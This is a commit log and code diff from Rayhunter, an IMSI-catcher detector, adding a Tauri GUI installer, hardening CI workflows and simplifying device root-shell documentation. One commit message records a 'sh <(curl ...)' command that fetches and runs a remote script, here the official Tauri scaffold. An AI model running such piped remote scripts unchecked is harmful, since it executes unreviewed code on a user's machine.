52 Commits

Author SHA1 Message Date
Cooper Quintin
7977a01a88 version bump 2026-01-06 09:45:58 -08:00
Cooper Quintin
78dd2f74a4 version bump 2026-01-06 09:28:40 -08:00
Markus Unterwaditzer
dd70a2a15d Add mount logs to rayhunter installer
We sometimes, but rarely, get bug reports where the sdcard fails
mounting. Write a dedicated log file for the mounting action to /tmp,
separately from the rayhunter logfile that is on the sdcard itself. That
log file is probably going to be small so it can fit in /tmp.
2026-01-06 17:42:40 +01:00
Markus Unterwaditzer
81a193959c fix another diff in behavior 2026-01-06 17:42:26 +01:00
Markus Unterwaditzer
7209910c11 Fix deku 0.20 discriminant double-read in Nas4GMessage
Applied workaround from sharksforarms/deku#305 using:
  #[deku(skip, default = "log_type")]

Found using differential fuzzing.

This may be a bug in deku.
2026-01-06 17:42:26 +01:00
Markus Unterwaditzer
3615cbf2dd Upgrade deku to 0.20
Fix #748
2026-01-05 14:32:32 -08:00
Markus Unterwaditzer
61793179e5 Fix Message parser crashes found by fuzzing
These payloads would previous cause panic on underflow.

The fuzzing setup lives in
https://github.com/untitaker/rayhunter/tree/fuzz-wip -- I can eventually
upstream it though right now it runs very inefficiently.
2025-12-09 21:31:08 +01:00
Vicente Reyes
cdc7a46162 Small grammar change 2025-12-03 09:56:25 -08:00
Markus Unterwaditzer
ffe58ab72b Remove powershell script (#715)
* Remove powershell script

Currently install.ps1 and installer are both released in the root of the
zipfile. I think that's a bit confusing. We also don't really support
the ps1 script since a while.

* Remove rootshell and config.toml.in from release folder
2025-12-03 12:08:51 +01:00
Markus Unterwaditzer
7906bf7d67 use cfmakeraw 2025-11-25 13:52:07 -08:00
Markus Unterwaditzer
5e4174c9f3 address review feedback 2025-11-25 13:52:07 -08:00
Markus Unterwaditzer
2a8fee25f9 Remove mentions of tplink-start-telnet and orbic-start-telnet 2025-11-25 13:52:07 -08:00
Markus Unterwaditzer
516e878661 fix installation instructions for orbic 2025-11-25 13:52:07 -08:00
Markus Unterwaditzer
5fbc540fa0 Implement basic telnet shell for both orbic and tplink 2025-11-25 13:52:07 -08:00
Brad Warren
676cd3c862 update installer-gui version to 0.8.0 2025-11-24 11:56:26 -08:00
Brad Warren
a8cb363112 run zizmor --fix=all . 2025-11-24 11:54:01 -08:00
dependabot[bot]
6172236a3c Bump glob from 10.4.5 to 10.5.0 in /daemon/web
Bumps [glob](https://github.com/isaacs/node-glob) from 10.4.5 to 10.5.0.
- [Changelog](https://github.com/isaacs/node-glob/blob/main/changelog.md)
- [Commits](https://github.com/isaacs/node-glob/compare/v10.4.5...v10.5.0)

---
updated-dependencies:
- dependency-name: glob
  dependency-version: 10.5.0
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-11-18 21:31:21 +01:00
Markus Unterwaditzer
485d1a99f6 Revert back to the CLI using Clap more directly 2025-11-18 21:05:22 +01:00
Markus Unterwaditzer
f6e118a5cc convert arg parsing errors into stderr printing, remove main_cli 2025-11-18 21:05:22 +01:00
Markus Unterwaditzer
4cdc9961d3 fix argv0 bug and update lockfile 2025-11-18 21:05:22 +01:00
Markus Unterwaditzer
c18579583c remove shell:default permission 2025-11-18 21:05:22 +01:00
Markus Unterwaditzer
565b6d188d remove unused gen folder 2025-11-18 21:05:22 +01:00
Markus Unterwaditzer
80f12ffaaa fix github actions for windows/mac 2025-11-18 21:05:22 +01:00
Markus Unterwaditzer
3e9af006e1 remove tauri-shell entirely 2025-11-18 21:05:22 +01:00
Markus Unterwaditzer
73a5d324c4 clean up run_with_callback api 2025-11-18 21:05:22 +01:00
Markus Unterwaditzer
bb6135c682 Apply suggestion from @oopsbagel
Co-authored-by: oopsbagel <99793478+oopsbagel@users.noreply.github.com>
2025-11-18 21:05:22 +01:00
Markus Unterwaditzer
3b44234ae1 implement installer as library and use it in gui 2025-11-18 21:05:22 +01:00
Markus Unterwaditzer
9e9fe4d392 write new main.rs 2025-11-18 21:05:22 +01:00
Markus Unterwaditzer
2c92315125 rename installer main.rs to lib.rs 2025-11-18 21:05:22 +01:00
dependabot[bot]
7bc55bf432 Bump js-yaml from 4.1.0 to 4.1.1 in /daemon/web (#705)
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-11-18 15:41:31 +01:00
Will Greenberg
2a7c5b4365 Add logo SVGs
Fixes #680
2025-11-17 12:09:25 -08:00
dependabot[bot]
d48d5755c6 Bump js-yaml from 4.1.0 to 4.1.1 in /installer-gui (#702)
Bumps [js-yaml](https://github.com/nodeca/js-yaml) from 4.1.0 to 4.1.1.
- [Changelog](https://github.com/nodeca/js-yaml/blob/master/CHANGELOG.md)
- [Commits](https://github.com/nodeca/js-yaml/compare/4.1.0...4.1.1)

---
updated-dependencies:
- dependency-name: js-yaml
  dependency-version: 4.1.1
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-11-16 15:31:24 +01:00
Cooper Quintin
1cf1d6d5b9 fix 642 2025-11-12 11:37:27 -08:00
Dylan Buel
c8d1b52ca7 Removed reference to deleted documentation and added language about updating to landing page (#697)
* Removed references to installing-from-release-windows.md removed in commit ea5aa6cee2

* Added language referencing the upgrade instructions in installation landing page

* Update doc/installation.md

---------

Co-authored-by: Markus Unterwaditzer <markus-github@unterwaditzer.net>
2025-11-09 12:36:36 +01:00
Markus Unterwaditzer
04efe7bb75 One pass of cargo-audit
Upgrade some yanked dependencies to non-yanked (windows-core) and ignore
the other two warnings.
2025-11-06 17:01:41 +01:00
Brad Warren
3f3b6168b3 remove license 2025-11-05 10:53:41 -08:00
Brad Warren
992a28af57 add README 2025-11-05 10:53:41 -08:00
Brad Warren
39c8844967 update ci config 2025-11-05 10:53:41 -08:00
Brad Warren
ef006d83a6 write plumbing to & from CLI installer 2025-11-05 10:53:41 -08:00
Brad Warren
bc9022530a cargo add anyhow --package installer-gui 2025-11-05 10:53:41 -08:00
Brad Warren
af2445cc38 remove frontend boilerplate 2025-11-05 10:53:41 -08:00
Brad Warren
e33f143830 add rayhunter banner 2025-11-05 10:53:41 -08:00
Brad Warren
f5360b042c set up tailwindcss 2025-11-05 10:53:41 -08:00
Brad Warren
a16fb9b678 set up eslint 2025-11-05 10:53:41 -08:00
Brad Warren
3349895a3e set up prettier 2025-11-05 10:53:41 -08:00
Brad Warren
30b517069a bundle cli-installer 2025-11-05 10:53:41 -08:00
Brad Warren
4efc2d5db3 npm run tauri add shell 2025-11-05 10:53:41 -08:00
Brad Warren
5e066682b3 run npm run tauri icon & exclude mobile icons 2025-11-05 10:53:41 -08:00
Brad Warren
01aefe25c9 update Cargo.toml and run npm run tauri dev 2025-11-05 10:53:41 -08:00
Brad Warren
e8e9f9366c clean up tauri boilerplate 2025-11-05 10:53:41 -08:00
Brad Warren
fa346989e6 run npm install
we need to track package-lock.json to keep the tauri JS packages in sync
with tauri's rust packages in cargo.lock
2025-11-05 10:53:41 -08:00
Brad Warren
d942545ac3 run create-tauri-app
command was: sh <(curl https://create.tauri.app/sh)

the chosen options were:

Project name · installer-gui
Identifier · com.rayhunter-installer.app
Choose which language to use for your frontend · TypeScript / JavaScript - (pnpm, yarn, npm, deno, bun)
Choose your package manager · npm
Choose your UI template · Svelte - (https://svelte.dev/)
Choose your UI flavor · TypeScript
2025-11-05 10:53:41 -08:00
77 changed files with 9152 additions and 574 deletions

11
.cargo/audit.toml Normal file
View File

@@ -0,0 +1,11 @@
[advisories]
ignore = [
# RSA Marvin Attack in `rsa`, dragged in through rustcrypto (dev builds)
# and adb_client (USB signing only, unrelated to marvin attack which
# targets decryption).
"RUSTSEC-2023-0071",
# paste crate being unmaintained is not important. it's not dealing with
# user-input. we could get rid of this warning by disabling the image
# dependency in adb-client.
"RUSTSEC-2024-0436",
]

View File

@@ -25,18 +25,20 @@ jobs:
web_changed: ${{ steps.files_changed.outputs.web_count }}
docs_changed: ${{ steps.files_changed.outputs.docs_count }}
installer_changed: ${{ steps.files_changed.outputs.installer_count }}
installer_gui_changed: ${{ steps.files_changed.outputs.installer_gui_count }}
rootshell_changed: ${{ steps.files_changed.outputs.rootshell_count }}
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0
persist-credentials: false
- name: detect file changes
id: files_changed
run: |
lcommit=${{ github.event.pull_request.base.sha || 'origin/main' }}
# If we are on main, or if these workflow files are being changed, run everything
if [ ${{ github.ref }} = 'refs/heads/main' ] || git diff --name-only $lcommit..HEAD | grep -qe ^.github/workflows/ -e ^.cargo
if [ ${GITHUB_REF} = 'refs/heads/main' ] || git diff --name-only $lcommit..HEAD | grep -qe ^.github/workflows/ -e ^.cargo
then
echo "building everything"
echo code_count=forced >> "$GITHUB_OUTPUT"
@@ -44,13 +46,15 @@ jobs:
echo web_count=forced >> "$GITHUB_OUTPUT"
echo docs_count=forced >> "$GITHUB_OUTPUT"
echo installer_count=forced >> "$GITHUB_OUTPUT"
echo installer_gui_count=forced >> "$GITHUB_OUTPUT"
echo rootshell_count=forced >> "$GITHUB_OUTPUT"
else
echo "code_count=$(git diff --name-only $lcommit...HEAD | grep -e ^daemon -e ^installer -e ^check -e ^lib -e ^rootshell -e ^telcom-parser | wc -l)" >> "$GITHUB_OUTPUT"
echo "daemon_count=$(git diff --name-only $lcommit...HEAD | grep -e ^daemon -e ^lib -e ^telcom-parser | wc -l)" >> "$GITHUB_OUTPUT"
echo "web_count=$(git diff --name-only $lcommit...HEAD | grep -e ^daemon/web | wc -l)" >> "$GITHUB_OUTPUT"
echo "docs_count=$(git diff --name-only $lcommit...HEAD | grep -e ^book.toml -e ^doc | wc -l)" >> "$GITHUB_OUTPUT"
echo "installer_count=$(git diff --name-only $lcommit...HEAD | grep -e ^installer | wc -l)" >> "$GITHUB_OUTPUT"
echo "installer_count=$(git diff --name-only $lcommit...HEAD | grep -e ^installer/ | wc -l)" >> "$GITHUB_OUTPUT"
echo "installer_gui_count=$(git diff --name-only $lcommit...HEAD | grep -e ^installer-gui | wc -l)" >> "$GITHUB_OUTPUT"
echo "rootshell_count=$(git diff --name-only $lcommit...HEAD | grep -e ^rootshell | wc -l)" >> "$GITHUB_OUTPUT"
fi
@@ -63,6 +67,8 @@ jobs:
contents: read
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
- name: Install mdBook
run: |
cargo install mdbook --no-default-features --features search --vers "^0.4" --locked
@@ -80,6 +86,8 @@ jobs:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
- name: Install mdBook
run: |
cargo install mdbook --no-default-features --features search --vers "^0.4" --locked
@@ -104,6 +112,8 @@ jobs:
contents: read
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
- uses: dtolnay/rust-toolchain@stable
with:
components: rustfmt, clippy
@@ -124,7 +134,35 @@ jobs:
run: |
NO_FIRMWARE_BIN=true cargo clippy --verbose
test_web_frontend:
installer_gui_check:
# we test the GUI installer separately to:
# 1) mimic the default behavior of cargo commands for rayhunter devs where
# installer-gui isn't one of the default workspace packages
# 2) avoid slowing down development on changes unrelated to the GUI installer
needs: files_changed
if: needs.files_changed.outputs.installer_gui_changed != '0'
# we run this on macos simply because no additional OS packages need to be
# installed
runs-on: macos-latest
permissions:
contents: read
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
- uses: dtolnay/rust-toolchain@stable
with:
components: clippy
- uses: Swatinem/rust-cache@v2
# we don't need to run cargo fmt here because both cargo fmt and cargo
# fmt --all runs on all workspace packages so this is handled by
# check_and_test above
- name: Check
run: NO_FIRMWARE_BIN=true cargo check --package installer-gui --verbose
- name: Run clippy
run: NO_FIRMWARE_BIN=true cargo clippy --package installer-gui --verbose
test_daemon_frontend:
needs: files_changed
if: needs.files_changed.outputs.web_changed != '0'
runs-on: ubuntu-latest
@@ -135,11 +173,30 @@ jobs:
working-directory: daemon/web
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
- run: npm install
- run: npm run lint
- run: npm run check
- run: npm run test
test_installer_frontend:
needs: files_changed
if: needs.files_changed.outputs.installer_gui_changed != '0'
runs-on: ubuntu-latest
permissions:
contents: read
defaults:
run:
working-directory: installer-gui
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
- run: npm install
- run: npm run lint
- run: npm run check
windows_installer_check_and_test:
needs: files_changed
if: needs.files_changed.outputs.installer_changed != '0'
@@ -148,6 +205,8 @@ jobs:
contents: read
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
- uses: Swatinem/rust-cache@v2
- name: cargo check
shell: bash
@@ -192,6 +251,8 @@ jobs:
runs-on: ${{ matrix.platform.os }}
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
- uses: dtolnay/rust-toolchain@stable
with:
targets: ${{ matrix.platform.target }}
@@ -214,6 +275,8 @@ jobs:
contents: read
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
- uses: dtolnay/rust-toolchain@stable
with:
targets: armv7-unknown-linux-musleabihf
@@ -240,6 +303,8 @@ jobs:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
- uses: dtolnay/rust-toolchain@stable
with:
targets: armv7-unknown-linux-musleabihf
@@ -301,6 +366,8 @@ jobs:
runs-on: ${{ matrix.platform.os }}
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
- uses: actions/download-artifact@v4
- uses: dtolnay/rust-toolchain@stable
with:
@@ -313,6 +380,145 @@ jobs:
path: target/${{ matrix.platform.target }}/release/installer${{ matrix.platform.os == 'windows-latest' && '.exe' || '' }}
if-no-files-found: error
build_installer_gui_linux:
if: needs.files_changed.outputs.installer_gui_changed != '0'
permissions:
contents: read
packages: write
needs:
- build_rayhunter
- build_rootshell
- files_changed
- installer_gui_check
- test_installer_frontend
strategy:
matrix:
platform:
# we want to use the oldest supported version of ubuntu here to
# maximize compatibility with older versions of glibc
- name: linux-x64
os: ubuntu-22.04
target: x86_64-unknown-linux-gnu
- name: linux-aarch64
os: ubuntu-22.04-arm
target: aarch64-unknown-linux-gnu
runs-on: ${{ matrix.platform.os }}
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
- uses: actions/download-artifact@v4
- uses: dtolnay/rust-toolchain@stable
with:
targets: ${{ matrix.platform.target }}
- uses: Swatinem/rust-cache@v2
- name: Install tauri dependencies
run: sudo apt-get update && sudo apt-get install -y libwebkit2gtk-4.1-dev build-essential curl wget file libxdo-dev libssl-dev libayatana-appindicator3-dev librsvg2-dev xdg-utils
- name: Build GUI installer
shell: bash
run: |
cd installer-gui
npm install
npm run tauri build -- --target ${{ matrix.platform.target }}
- uses: actions/upload-artifact@v4
with:
name: gui-installer-${{ matrix.platform.name }}-appimage
path: target/${{ matrix.platform.target }}/release/bundle/appimage/*.AppImage
if-no-files-found: error
- uses: actions/upload-artifact@v4
with:
name: gui-installer-${{ matrix.platform.name }}-deb
path: target/${{ matrix.platform.target }}/release/bundle/deb/*.deb
if-no-files-found: error
- uses: actions/upload-artifact@v4
with:
name: gui-installer-${{ matrix.platform.name }}-rpm
path: target/${{ matrix.platform.target }}/release/bundle/rpm/*.rpm
if-no-files-found: error
build_installer_gui_macos:
if: needs.files_changed.outputs.installer_gui_changed != '0'
permissions:
contents: read
packages: write
needs:
- build_rayhunter
- build_rootshell
- files_changed
- installer_gui_check
- test_installer_frontend
strategy:
matrix:
platform:
- name: macos-arm
target: aarch64-apple-darwin
- name: macos-intel
target: x86_64-apple-darwin
runs-on: macos-latest
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
- uses: actions/download-artifact@v4
- uses: dtolnay/rust-toolchain@stable
with:
targets: ${{ matrix.platform.target }}
- uses: Swatinem/rust-cache@v2
- name: Build GUI installer
shell: bash
run: |
cd installer-gui
npm install
npm run tauri build -- --target ${{ matrix.platform.target }}
cd ..
mv "target/${{ matrix.platform.target }}/release/bundle/macos/"*.app .
zip -r "rayhunter-installer-${{ matrix.platform.name }}.app.zip" ./*.app
- uses: actions/upload-artifact@v4
with:
name: gui-installer-${{ matrix.platform.name }}-app
path: ./*.app.zip
if-no-files-found: error
build_installer_gui_windows:
if: needs.files_changed.outputs.installer_gui_changed != '0'
permissions:
contents: read
packages: write
needs:
- build_rayhunter
- build_rootshell
- files_changed
- installer_gui_check
- test_installer_frontend
env:
TARGET: x86_64-pc-windows-msvc
runs-on: windows-latest
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
- uses: actions/download-artifact@v4
- uses: dtolnay/rust-toolchain@stable
with:
targets: ${{ env.TARGET }}
- uses: Swatinem/rust-cache@v2
- name: Build GUI installer
shell: bash
run: |
cd installer-gui
npm install
npm run tauri build -- --target ${{ env.TARGET }}
- uses: actions/upload-artifact@v4
with:
name: gui-installer-msi
path: target/${{ env.TARGET }}/release/bundle/msi/*.msi
if-no-files-found: error
- uses: actions/upload-artifact@v4
with:
name: gui-installer-exe
path: target/${{ env.TARGET }}/release/bundle/nsis/*.exe
if-no-files-found: error
build_release_zip:
permissions:
contents: read
@@ -334,6 +540,8 @@ jobs:
- windows-x86_64
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
- uses: actions/download-artifact@v4
- name: Fix executable permissions on binaries
run: chmod +x installer-*/installer rayhunter-check-*/rayhunter-check rayhunter-daemon/rayhunter-daemon
@@ -343,7 +551,7 @@ jobs:
- name: Setup versioned release directory
run: |
platform="${{ matrix.platform }}"
dest="rayhunter-v${{ env.VERSION }}-${{ matrix.platform }}"
dest="rayhunter-v${VERSION}-${{ matrix.platform }}"
mkdir "$dest"
# Handle installer with proper extension for Windows
if [ "$platform" = "windows-x86_64" ]; then
@@ -351,7 +559,7 @@ jobs:
else
mv installer-$platform/installer "$dest"/installer
fi
cp -r rayhunter-check-* rayhunter-daemon rootshell/rootshell dist/* installer/install.ps1 "$dest"/
cp -r rayhunter-check-* rayhunter-daemon dist/scripts "$dest"/
zip -r "$dest.zip" "$dest"
sha256sum "$dest.zip" > "$dest.zip.sha256"

View File

@@ -14,10 +14,12 @@ jobs:
contents: read
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
- name: Ensure all Cargo.toml files have the same version defined.
run: |
defined_versions=$(find lib check daemon installer rootshell telcom-parser -name Cargo.toml -exec grep ^version {} \; | sort -u | wc -l)
find lib check daemon installer rootshell telcom-parser -name Cargo.toml -exec grep ^version {} \;
defined_versions=$(find lib check daemon installer installer-gui rootshell telcom-parser -name Cargo.toml -exec grep ^version {} \; | sort -u | wc -l)
find lib check daemon installer installer-gui rootshell telcom-parser -name Cargo.toml -exec grep ^version {} \;
echo number of defined versions = $defined_versions
if [ $defined_versions != "1" ]
then
@@ -41,6 +43,8 @@ jobs:
contents: write
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
- uses: actions/download-artifact@v4
- name: Create release
run: |

3473
Cargo.lock generated

File diff suppressed because it is too large Load Diff

View File

@@ -7,5 +7,17 @@ members = [
"rootshell",
"telcom-parser",
"installer",
"installer-gui/src-tauri",
]
# at least for now, let's keep installer-gui out of the list of default
# packages. installer-gui is still experimental and requires many new packages
# both from cargo and the underlying operating system
default-members = [
"lib",
"daemon",
"check",
"rootshell",
"telcom-parser",
"installer",
]
resolver = "2"

View File

@@ -3,7 +3,7 @@
![Rayhunter Logo - An Orca taking a bite out of a cellular signal bar](https://www.eff.org/files/styles/media_browser_preview/public/banner_library/rayhunter-banner.png)
Rayhunter is a project for detecting IMSI catchers, also known as cell-site simulators or stingrays. It was first designed to run on a cheap mobile hotspot called the Orbic RC400L, but thanks to community efforts can [support some other devices as well](https://efforg.github.io/rayhunter/supported-devices.html).
Rayhunter is a project for detecting IMSI catchers, also known as cell-site simulators or stingrays. It was first designed to run on a cheap mobile hotspot called the Orbic RC400L, but thanks to community efforts, it can [support some other devices as well](https://efforg.github.io/rayhunter/supported-devices.html).
It's also designed to be as easy to install and use as possible, regardless of your level of technical skills, and to minimize false positives.
&rarr; Check out the [installation guide](https://efforg.github.io/rayhunter/installation.html) to get started.

View File

@@ -1,6 +1,6 @@
[package]
name = "rayhunter-check"
version = "0.8.0"
version = "0.9.0"
edition = "2024"
[dependencies]

View File

@@ -1,6 +1,6 @@
[package]
name = "rayhunter-daemon"
version = "0.8.0"
version = "0.9.0"
edition = "2024"
rust-version = "1.88.0"

View File

@@ -178,6 +178,7 @@ pub fn update_ui(
let display_level = config.ui_level;
if display_level == 0 {
info!("Invisible mode, not spawning UI.");
return;
}
let colorblind_mode = config.colorblind_mode;

View File

@@ -2760,9 +2760,9 @@
}
},
"node_modules/glob": {
"version": "10.4.5",
"resolved": "https://registry.npmjs.org/glob/-/glob-10.4.5.tgz",
"integrity": "sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==",
"version": "10.5.0",
"resolved": "https://registry.npmjs.org/glob/-/glob-10.5.0.tgz",
"integrity": "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg==",
"dev": true,
"license": "ISC",
"dependencies": {
@@ -3033,9 +3033,9 @@
"license": "MIT"
},
"node_modules/js-yaml": {
"version": "4.1.0",
"resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz",
"integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==",
"version": "4.1.1",
"resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz",
"integrity": "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==",
"dev": true,
"license": "MIT",
"dependencies": {

View File

@@ -3,7 +3,6 @@
[Introduction](./introduction.md)
- [Installation](./installation.md)
- [Installing from the latest release](./installing-from-release.md)
- [Installing from the latest release (Windows)](./installing-from-release-windows.md)
- [Installing from source](./installing-from-source.md)
- [Updating Rayhunter](./updating-rayhunter.md)
- [Configuration](./configuration.md)

View File

@@ -3,5 +3,8 @@
So, you've got one of the [supported devices](./supported-devices.md), and are ready to start catching IMSI catchers. You have two options for installing Rayhunter:
* [installing from a release (recommended)](./installing-from-release.md)
* [installing from a release on Windows](./installing-from-release-windows.md)
* [installing from source](./installing-from-source.md)
Already have Rayhunter installed but looking to update?
* [Updating Rayhunter](./updating-rayhunter.md)

View File

@@ -30,7 +30,7 @@ According to [FCC ID 2APQU-K779HSDL](https://fcc.report/FCC-ID/2APQU-K779HSDL),
Connect to the hotspot's network using WiFi or USB tethering and run:
```sh
./installer orbic-network --admin-password 'mypassword'
./installer orbic --admin-password 'mypassword'
```
The password (in place of `mypassword`) is under the battery.
@@ -38,5 +38,5 @@ The password (in place of `mypassword`) is under the battery.
## Obtaining a shell
```sh
./installer util orbic-start-telnet
./installer util orbic-shell
```

View File

@@ -40,9 +40,7 @@ installation routines.
## Obtaining a shell
After running the installer, there will not be a rootshell and ADB will not be
enabled. Instead you can use `./installer util orbic-start-telnet` and connect
to the hotspot using `nc 192.168.1.1 24`. On Windows you might not have `nc`
and will have to use WSL for that.
enabled. Instead you can use `./installer util orbic-shell`.
If you are using an installer prior to 0.7.0 or `orbic-usb` explicitly, you can
obtain a root shell by running `adb shell` or `./installer util shell`. Then,

View File

@@ -42,11 +42,10 @@ Follow the [release installation guide](./installing-from-release.md). Substitut
## Obtaining a shell
Unlike on Orbic, the installer will not enable ADB. Instead, you can obtain a root shell with the following command:
You can obtain a root shell with the following command:
```sh
./installer util tplink-start-telnet
telnet 192.168.0.1
./installer util tplink-shell
```
## Display states
@@ -70,7 +69,7 @@ On hardware revisions starting with v4.0, the installer will modify settings to
add two port triggers. You can look at `Settings > NAT Settings > Port
Triggers` in TP-Link's admin UI to see them.
1. One port trigger "rayhunter-root" to launch the telnet shell. This is only needed for installation, and can be removed after upgrade. You can reinstall it using `./installer util tplink-start-telnet`.
1. One port trigger "rayhunter-root" to launch the telnet shell. This is only needed for installation, and can be removed after upgrade. You can reinstall it using `./installer util tplink-shell`.
2. One port trigger "rayhunter-daemon" to auto-start Rayhunter on boot. If you remove this, Rayhunter will have to be started manually from shell.
## Other links

View File

@@ -1,23 +1,25 @@
# Uninstalling
There is no automated uninstallation routine, so this page documents the routine for some devices.
## Orbic
To uninstall Rayhunter, power on your Orbic device and connect to it via USB. Then, start a rootshell on it by running `adb shell`, followed by `rootshell`.
Run `./installer util orbic-shell --admin-password mypassword`. Refer to the
installation instructions for how to find out the admin password.
Once in a rootshell, run:
Inside, run:
```shell
echo 3 > /usrdata/mode.cfg
echo 3 > /usrdata/mode.cfg # only relevant if you previously installed via ADB installer
rm -rf /data/rayhunter /etc/init.d/rayhunter_daemon /bin/rootshell
reboot
```
Your device is now Rayhunter-free, and should no longer be in a rooted ADB-enabled mode.
Your device is now Rayhunter-free, and should no longer be rooted.
## TPLink
1. Run `./installer util tplink-start-telnet`
2. Telnet into the device `telnet 192.168.0.1`
1. Run `./installer util tplink-shell` to obtain rootshell on the device.
3. `rm /data/rayhunter /etc/init.d/rayhunter_daemon`
4. `update-rc.d rayhunter_daemon remove`
5. (hardware revision v4.0+ only) In `Settings > NAT Settings > Port Triggers` in TP-Link's admin UI, remove any leftover port triggers.

11
installer-gui/.gitignore vendored Normal file
View File

@@ -0,0 +1,11 @@
.DS_Store
node_modules
/build
/.svelte-kit
/package
.env
.env.*
!.env.example
vite.config.js.timestamp-*
vite.config.ts.timestamp-*
/src-tauri/binaries

View File

@@ -0,0 +1 @@
package-lock.json

15
installer-gui/.prettierrc Normal file
View File

@@ -0,0 +1,15 @@
{
"singleQuote": true,
"tabWidth": 4,
"trailingComma": "es5",
"printWidth": 100,
"plugins": ["prettier-plugin-svelte"],
"overrides": [
{
"files": "*.svelte",
"options": {
"parser": "svelte"
}
}
]
}

34
installer-gui/README.md Normal file
View File

@@ -0,0 +1,34 @@
# Rayhunter GUI Installer
This directory contains experimental work on a Rayhunter GUI installer based on [Tauri](https://tauri.app/).
## Dependencies
Before building the GUI installer, you'll first need to install its dependencies.
### Tauri Dependencies
You'll need to install [Tauri's dependencies](https://tauri.app/start/prerequisites/). In addition to Rust, you'll need [Node.js/npm](https://docs.npmjs.com/downloading-and-installing-node-js-and-npm). If you're on Linux, also be sure to install the necessary [system dependencies](https://tauri.app/start/prerequisites/#linux) from your package manager.
### Rayhunter CLI Installer
The GUI installer pulls in the CLI installer as a library. Like with the CLI installer, the firmware binary needs to be present and can be overridden with the same envvars. See `../installer/build.rs` for options.
For example, to build the firmware in development mode and then provide the path explicitly:
```bash
cargo build-daemon-firmware-devel
(cd installer-gui && FILE_RAYHUNTER_DAEMON=$PWD/../target/armv7-unknown-linux-musleabihf/firmware-devel/rayhunter-daemon npm run tauri android build)
```
## Building
After preparing dependencies, the GUI installer can be built by:
1. Running `npm install` in this directory.
2. Running `npm run tauri dev`.
This will build the GUI installer in development mode. While this command is running, any changes to either the frontend or backend code will cause the installer to be reloaded or rebuilt.
You can also run `npm run tauri build` to create the final GUI installer artifacts for your OS as is done in CI.

View File

@@ -0,0 +1,42 @@
import prettier from 'eslint-config-prettier';
import js from '@eslint/js';
import svelte from 'eslint-plugin-svelte';
import globals from 'globals';
import ts from 'typescript-eslint';
export default ts.config(
{
ignores: ['build/', '.svelte-kit/**', 'dist/'],
},
js.configs.recommended,
...ts.configs.recommended,
...svelte.configs['flat/recommended'],
prettier,
...svelte.configs['flat/prettier'],
{
languageOptions: {
globals: {
...globals.browser,
...globals.node,
},
},
},
{
files: ['**/*.svelte'],
languageOptions: {
parserOptions: {
parser: ts.parser,
},
},
},
{
rules: {
'@typescript-eslint/no-unused-vars': [
'error',
{ argsIgnorePattern: '^_', varsIgnorePattern: '^_' },
],
'@typescript-eslint/no-explicit-any': 'off',
},
}
);

4211
installer-gui/package-lock.json generated Normal file

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,41 @@
{
"name": "installer-gui",
"version": "0.1.0",
"description": "",
"type": "module",
"scripts": {
"dev": "vite dev",
"build": "vite build",
"preview": "vite preview",
"check": "svelte-kit sync && svelte-check --tsconfig ./tsconfig.json",
"check:watch": "svelte-kit sync && svelte-check --tsconfig ./tsconfig.json --watch",
"format": "prettier --write .",
"lint": "prettier --check . && eslint .",
"fix": "eslint --fix .",
"tauri": "tauri"
},
"dependencies": {
"@tailwindcss/vite": "^4.1.16",
"@tauri-apps/api": "^2",
"@tauri-apps/plugin-opener": "^2",
"tailwindcss": "^4.1.16"
},
"devDependencies": {
"@eslint/js": "^9.38.0",
"@sveltejs/adapter-static": "^3.0.6",
"@sveltejs/kit": "^2.9.0",
"@sveltejs/vite-plugin-svelte": "^5.0.0",
"@tauri-apps/cli": "^2",
"eslint": "^9.38.0",
"eslint-config-prettier": "^10.1.8",
"eslint-plugin-svelte": "^3.13.0",
"globals": "^16.4.0",
"prettier": "^3.6.2",
"prettier-plugin-svelte": "^3.4.0",
"svelte": "^5.0.0",
"svelte-check": "^4.0.0",
"typescript": "~5.6.2",
"typescript-eslint": "^8.46.2",
"vite": "^6.0.3"
}
}

3
installer-gui/src-tauri/.gitignore vendored Normal file
View File

@@ -0,0 +1,3 @@
# Generated by Tauri
# will have schema files for capabilities auto-completion
/gen/schemas

View File

@@ -0,0 +1,24 @@
[package]
name = "installer-gui"
version = "0.9.0"
edition = "2024"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[lib]
# The `_lib` suffix may seem redundant but it is necessary
# to make the lib name unique and wouldn't conflict with the bin name.
